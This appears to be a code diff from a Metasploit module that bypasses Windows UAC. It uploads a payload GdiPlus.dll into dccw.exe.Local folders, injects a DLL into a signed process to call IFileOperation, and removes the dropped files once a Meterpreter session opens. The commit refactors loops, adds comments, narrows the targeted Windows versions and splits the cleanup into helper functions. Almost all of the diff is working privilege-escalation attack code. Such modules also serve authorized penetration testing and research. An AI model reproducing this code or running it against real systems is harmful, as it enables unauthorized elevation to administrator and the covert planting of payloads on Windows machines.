@@ -97,8 +97,8 @@ def exploit
97
97
run_injection ( pid , dll_path , file_paths )
98
98
end
99
99
100
+ # Path to the bypassuac binary and architecture payload checking
100
101
def bypass_dll_path
101
- # path to the bypassuac binary
102
102
path = ::File . join ( Msf ::Config . data_directory , 'post' )
103
103
104
104
sysarch = sysinfo [ 'Architecture' ]
@@ -117,6 +117,7 @@ def bypass_dll_path
117
117
end
118
118
end
119
119
120
+ # Check if the compromised user matches some requirements
120
121
def check_permissions!
121
122
# Check if you are an admin
122
123
vprint_status ( 'Checking admin status...' )
@@ -138,6 +139,7 @@ def check_permissions!
138
139
end
139
140
end
140
141
142
+ # Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation
141
143
def run_injection ( pid , dll_path , file_paths )
142
144
vprint_status ( "Injecting #{ datastore [ 'DLL_PATH' ] } into process ID #{ pid } " )
143
145
begin
@@ -184,7 +186,7 @@ def upload_payload_dll(payload_filepath, directoryNames)
184
186
payload = generate_payload_dccw_gdiplus_dll ( { :dll_exitprocess => true } )
185
187
print_status ( 'Uploading the Payload DLL to the filesystem...' )
186
188
begin
187
- vprint_status ( "Payload DLL #{ payload . length } bytes long being uploaded.." )
189
+ vprint_status ( "Payload DLL #{ payload . length } bytes long being uploaded... " )
188
190
write_file ( dllPath , payload )
189
191
rescue Rex ::Post ::Meterpreter ::RequestError => e
190
192
fail_with ( Failure ::Unknown , "Error uploading file #{ directoryNames [ 0 ] } : #{ e . class } #{ e } " )
@@ -195,21 +197,23 @@ def upload_payload_dll(payload_filepath, directoryNames)
195
197
end
196
198
end
197
199
200
+ # Copy our DLL to all created folders, the first folder already have a copy of the DLL
198
201
def copy_payload_dll ( directoryNames , dllPath )
199
- for i in 1 .. directoryNames . size - 1
202
+ 1 . step ( directoryNames . size - 1 , 1 ) do | i |
200
203
if client . railgun . kernel32 . CopyFileA ( dllPath , "#{ directoryNames [ i ] } \\ GdiPlus.dll" , false ) [ 'return' ] == false
201
204
print_error ( "Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works..." )
202
205
end
203
206
end
204
207
end
205
208
209
+ # Check if the environment is vulnerable to the exploit
206
210
def validate_environment!
207
211
fail_with ( Failure ::None , 'Already in elevated state' ) if is_admin? || is_system?
208
212
209
213
winver = sysinfo [ 'OS' ]
210
214
211
215
case winver
212
- when /Windows (8|2008|2012| 10)/
216
+ when /Windows (8|10)/
213
217
print_good ( "#{ winver } may be vulnerable." )
214
218
else
215
219
fail_with ( Failure ::NotVulnerable , "#{ winver } is not vulnerable." )
@@ -235,9 +239,9 @@ def create_directories(payload_filepath, directoryNames)
235
239
fail_with ( Failure ::Unknown , "Cannot create the directory \" #{ env_vars [ 'TEMP' ] } dccw.exe.Local\" " )
236
240
end
237
241
238
- for i in 0 .. directoryNames . size - 1
239
- if client . railgun . kernel32 . CreateDirectoryA ( directoryNames [ i ] , nil ) [ 'return' ] == 0
240
- fail_with ( Failure ::Unknown , "Cannot create the directory \" #{ env_vars [ 'TEMP' ] } dccw.exe.Local\\ #{ directoryNames [ i ] } \" " )
242
+ directoryNames . each do | dirName |
243
+ if client . railgun . kernel32 . CreateDirectoryA ( dirName , nil ) [ 'return' ] == 0
244
+ fail_with ( Failure ::Unknown , "Cannot create the directory \" #{ env_vars [ 'TEMP' ] } dccw.exe.Local\\ #{ dirName } \" " )
241
245
end
242
246
end
243
247
end
@@ -253,19 +257,23 @@ def get_directories(payload_filepath, targetedDirectories)
253
257
if hFile [ 'return' ] == client . railgun . const ( "INVALID_HANDLE_VALUE" )
254
258
fail_with ( Failure ::Unknown , "Cannot get the targeted directories!" )
255
259
end
256
- findFileData = hFile [ 'lpFindFileData' ]
257
260
258
- begin
261
+ findFileData = hFile [ 'lpFindFileData' ]
262
+ moreFiles = true
263
+ until moreFiles == false do
259
264
fileAttributes = findFileData [ 0 , 4 ] . unpack ( 'V' ) . first
260
265
andOperation = fileAttributes & client . railgun . const ( "FILE_ATTRIBUTE_DIRECTORY" )
261
266
if andOperation
262
- path = "#{ payload_filepath } \\ #{ normalize_path ( findFileData [ fileNamePadding , fileNamePadding + maxPath ] ) } "
267
+ #Removes the remainder part composed of 'A' of the path and the last null character
268
+ normalizedData = findFileData [ fileNamePadding , fileNamePadding + maxPath ] . split ( 'AAA' ) [ 0 ]
269
+ path = "#{ payload_filepath } \\ #{ normalizedData [ 0 , normalizedData . length - 1 ] } "
263
270
directoryNames . push ( path )
264
- end
271
+ end
265
272
266
- findNextFile = client . railgun . kernel32 . FindNextFileA ( hFile [ 'return' ] , findFileDataSize )
267
- findFileData = findNextFile [ 'lpFindFileData' ]
268
- end while findNextFile [ 'return' ] != false
273
+ findNextFile = client . railgun . kernel32 . FindNextFileA ( hFile [ 'return' ] , findFileDataSize )
274
+ moreFiles = findNextFile [ 'return' ]
275
+ findFileData = findNextFile [ 'lpFindFileData' ]
276
+ end
269
277
270
278
if findNextFile [ 'GetLastError' ] != client . railgun . const ( "ERROR_NO_MORE_FILES" )
271
279
fail_with ( Failure ::Unknown , "Cannot get the targeted directories!" )
@@ -274,16 +282,7 @@ def get_directories(payload_filepath, targetedDirectories)
274
282
directoryNames
275
283
end
276
284
277
- #Removes the remainder part composed of 'A' of the path
278
- def normalize_path ( path )
279
- counter = 0
280
- while path [ counter ] != 'A' and path [ counter + 1 ] != 'A' and path [ counter + 2 ] != 'A' do
281
- counter = counter + 1
282
- end
283
-
284
- path [ 0 , counter + 1 ]
285
- end
286
-
285
+ # Store the necessary paths into a struct
287
286
def get_file_paths ( win_path , payload_filepath )
288
287
paths = { }
289
288
paths [ :szElevDll ] = 'dccw.exe.Local'
@@ -300,7 +299,7 @@ def get_file_paths(win_path, payload_filepath)
300
299
# the dll needs to copy/execute etc.
301
300
def create_struct ( paths )
302
301
303
- # write each path to the structure in the order they
302
+ # Write each path to the structure in the order they
304
303
# are defined in the bypass uac binary.
305
304
struct = ''
306
305
struct << fill_struct_path ( paths [ :szElevDir ] )
@@ -318,6 +317,7 @@ def fill_struct_path(path)
318
317
path + "\x00 " * ( 520 - path . length )
319
318
end
320
319
320
+ # When a new session is obtained, it removes the dropped elements (files and folders)
321
321
def on_new_session ( session )
322
322
if session . type == 'meterpreter'
323
323
session . core . use ( 'stdapi' ) unless session . ext . aliases . include? ( 'stdapi' )
@@ -328,7 +328,6 @@ def on_new_session(session)
328
328
# Remove all the created and dropped files and folders
329
329
def remove_dropped_elements ( session )
330
330
droppedElements = [ ]
331
- successfullyRemoved = true
332
331
333
332
env_vars = get_envs ( 'TEMP' , 'WINDIR' )
334
333
payload_filepath = "#{ env_vars [ 'TEMP' ] } \\ dccw.exe.Local"
@@ -343,39 +342,88 @@ def remove_dropped_elements(session)
343
342
directoryNames = get_directories ( payload_filepath , targetedDirectories )
344
343
file_paths = get_file_paths ( env_vars [ 'WINDIR' ] , payload_filepath )
345
344
346
- # Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
347
- # and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
348
- for i in 0 .. directoryNames . size - 1
349
- directoryName = directoryNames [ i ] . split ( "\\ " ) . last
345
+ # Remove all dropped elements (files and folders)
346
+ remove_dlls ( session , directoryNames , file_paths , droppedElements )
347
+ remove_winsxs_folders ( session , directoryNames , file_paths , droppedElements )
348
+ remove_dot_local_folders ( session , file_paths , droppedElements )
349
+
350
+ # Check if the removal was successful
351
+ removal_checking ( droppedElements )
352
+ end
353
+
354
+ # Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
355
+ # and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
356
+ def remove_dlls ( session , directoryNames , file_paths , droppedElements )
357
+ directoryNames . each do |dirName |
358
+ directoryName = dirName . split ( "\\ " ) . last
359
+
360
+ begin
361
+ droppedElements . push ( "#{ dirName } \\ GdiPlus.dll" )
362
+ session . fs . file . rm ( "#{ dirName } \\ GdiPlus.dll" )
363
+ rescue ::Rex ::Post ::Meterpreter ::RequestError => e
364
+ vprint_error ( "Error => #{ e . class } - #{ e } " )
365
+ end
350
366
351
- droppedElements . push ( "#{ directoryNames [ i ] } \\ GdiPlus.dll" )
352
- session . fs . file . rm ( "#{ directoryNames [ i ] } \\ GdiPlus.dll" ) rescue nil
353
- droppedElements . push ( "#{ file_paths [ :szElevDllFull ] } \\ #{ directoryName } \\ GdiPlus.dll" )
354
- session . fs . file . rm ( "#{ file_paths [ :szElevDllFull ] } \\ #{ directoryName } \\ GdiPlus.dll" ) rescue nil
367
+ begin
368
+ droppedElements . push ( "#{ file_paths [ :szElevDllFull ] } \\ #{ directoryName } \\ GdiPlus.dll" )
369
+ session . fs . file . rm ( "#{ file_paths [ :szElevDllFull ] } \\ #{ directoryName } \\ GdiPlus.dll" )
370
+ rescue ::Rex ::Post ::Meterpreter ::RequestError => e
371
+ vprint_error ( "Error => #{ e . class } - #{ e } " )
372
+ end
355
373
end
374
+ end
375
+
376
+ # Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
377
+ def remove_winsxs_folders ( session , directoryNames , file_paths , droppedElements )
378
+ directoryNames . each do |dirName |
379
+ directoryName = dirName . split ( "\\ " ) . last
380
+
381
+ begin
382
+ droppedElements . push ( dirName )
383
+ session . fs . dir . rmdir ( dirName )
384
+ rescue ::Rex ::Post ::Meterpreter ::RequestError => e
385
+ vprint_error ( "Error => #{ e . class } - #{ e } " )
386
+ end
356
387
357
- # Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
358
- for i in 0 .. directoryNames . size - 1
359
- directoryName = directoryNames [ i ] . split ( "\\ " ) . last
388
+ begin
389
+ droppedElements . push ( "#{ file_paths [ :szElevDllFull ] } \\ #{ directoryName } " )
390
+ session . fs . dir . rmdir ( "#{ file_paths [ :szElevDllFull ] } \\ #{ directoryName } " )
391
+ rescue ::Rex ::Post ::Meterpreter ::RequestError => e
392
+ vprint_error ( "Error => #{ e . class } - #{ e } " )
393
+ end
394
+ end
395
+ end
360
396
361
- droppedElements . push ( directoryNames [ i ] )
362
- session . fs . dir . rmdir ( directoryNames [ i ] ) rescue nil
363
- droppedElements . push ( "#{ file_paths [ :szElevDllFull ] } \\ #{ directoryName } " )
364
- session . fs . dir . rmdir ( "#{ file_paths [ :szElevDllFull ] } \\ #{ directoryName } " ) rescue nil
397
+ # Remove "C:\Windows\System32\dccw.exe.Local" folder
398
+ def remove_dot_local_folders ( session , file_paths , droppedElements )
399
+ begin
400
+ droppedElements . push ( file_paths [ :szTempDllPath ] )
401
+ session . fs . dir . rmdir ( file_paths [ :szTempDllPath ] )
402
+ rescue ::Rex ::Post ::Meterpreter ::RequestError => e
403
+ vprint_error ( "Error => #{ e . class } - #{ e } " )
365
404
end
366
405
367
- # Remove "C:\Windows\System32\dccw.exe.Local" folder
368
- droppedElements . push ( file_paths [ :szTempDllPath ] )
369
- session . fs . dir . rmdir ( file_paths [ :szTempDllPath ] ) rescue nil
370
- droppedElements . push ( file_paths [ :szElevDllFull ] )
371
- session . fs . dir . rmdir ( file_paths [ :szElevDllFull ] ) rescue nil
372
-
373
- # Check if have been successfully removed
374
- for i in 0 .. droppedElements . size - 1
375
- stat = session . fs . file . stat ( droppedElements [ i ] ) rescue nil
376
- if stat
377
- print_error ( "Unable to delete #{ droppedElements [ i ] } !" )
378
- successfullyRemoved = false
406
+ begin
407
+ droppedElements . push ( file_paths [ :szElevDllFull ] )
408
+ session . fs . dir . rmdir ( file_paths [ :szElevDllFull ] )
409
+ rescue ::Rex ::Post ::Meterpreter ::RequestError => e
410
+ vprint_error ( "Error => #{ e . class } - #{ e } " )
411
+ end
412
+ end
413
+
414
+ # Check if have been successfully removed
415
+ def removal_checking ( droppedElements )
416
+ successfullyRemoved = true
417
+
418
+ droppedElements . each do |element |
419
+ begin
420
+ stat = session . fs . file . stat ( element )
421
+ if stat
422
+ print_error ( "Unable to delete #{ element } !" )
423
+ successfullyRemoved = false
424
+ end
425
+ rescue ::Rex ::Post ::Meterpreter ::RequestError => e
426
+ vprint_error ( "Error => #{ e . class } - #{ e } " )
379
427
end
380
428
end
381
429
@@ -385,5 +433,4 @@ def remove_dropped_elements(session)
385
433
print_warning ( "Could not delete some dropped elements! They will require manual cleanup on the target" )
386
434
end
387
435
end
388
-
389
436
end
0 commit comments